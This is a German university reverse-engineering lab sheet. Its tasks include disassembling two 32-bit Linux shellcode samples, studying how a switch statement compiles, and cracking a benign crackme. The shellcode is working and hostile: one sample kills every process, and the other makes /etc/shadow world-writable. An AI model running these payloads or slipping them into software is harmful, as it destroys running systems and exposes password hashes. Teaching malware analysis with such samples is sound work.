– Praktikumsaufgabe 1 –

Thema: *Grundlagen des Reverse Engineerung*

Zielstellung: Erlernen elementarer Techniken des *Reverse Engineering*; Analyse von betriebssystemspezifischem Schadcode

1. Analysieren Sie das folgende Programm. (**Achtung!** Führen Sie das Programm nicht probehalber aus!) Nutzen Sie die Disassemblierfunktion des `gdb`. Geben Sie ein äquivalentes C-Programm an.

```
main()
{
    char doit[] = "\x6a\x25\x58\x6a\xff\x5b\x6a\x09\x59\xcd\x80";

    (*(void (*)()) doit)();
}
```

   Hinweise:

   - Übersetzen Sie das Programm mittels

     ```
     gcc -m32 -fno-stack-protector -z execstack -o foo foo.c
     ```

   - ASLR führt dazu, dass die Ladeadressen des Programms erst zur Ausführungszeit festgelegt werden. Um diese zu ermitteln, sollten Sie einfach einen Breakpoint auf `main` (oder `_start`) setzen und das Programm mit `run` starten.

   - Sie benötigen die Adresse von `doit`; diese kriegen sie nur zur Laufzeit heraus

   - Speicher außerhalb jeglicher Funktionen kann man im `gdb` mittels `x/[Zeilen]i Adresse` disassemblieren.

   - Da wir eine 32-Bit-Applikation erzeugt haben, gelten die 32-Bit-Systemruf-Konventionen (auch wenn im Labor 64-Bit-Linux läuft).

2. Ein etwas komplexeres Beispiel für Schadcode ist das folgende. Beschreiben Sie, was der Code tut, wozu dies gut sein könnte, und warum er *zwei* Systemrufe enthält.

```
int main(int argc, char *argv[])
{
  char shellcode[] =
    "\x51\x66\xb9\xb6\x01\x68\x61\x64\x6f\x77\x68\x63\x2f\x73\x68\x68"
    "\x2f\x2f\x65\x74\x89\xe3\x6a\x0f\x58\xcd\x80\x40\xcd\x80";

  (*(void(*)()) shellcode)();
  return 0;
}
```

3. Analysieren Sie, wie der Compiler das `switch-case`-Statement in Assembler transfor-

miert, indem sie folgendes Programm mit dem Compiler übersetzen und das Binary, wie in der Vorlesung demonstriert, reassemblieren.

```
#include <stdio.h>
#include <stdlib.h>

int main(int argc, char* argv[])
{
  int a = 'x';

  switch (a) {
  case 'a':
    a += 23;
    break;
  case 'b':
    a *= 2;
  default:
    a %= 4;
  }

  exit (0);
}
```

Hinweis: Ein 32-Bit-Binary erzeugen Sie unter 64-Bit-Linux (ilux150, die Laborrechner) mit dem gcc-Switch `-m32`.

4. Ermitteln Sie das Passwort im Binary `crackme01`, so dass das Programm „Erfolg!“ meldet. Dokumentieren Sie Ihre Vorgehensweise. (Sie können dem Binary vertrauen, es tut nichts bösartiges).

5. Bearbeiten Sie die Belegaufgabe (separates Aufgabenblatt)!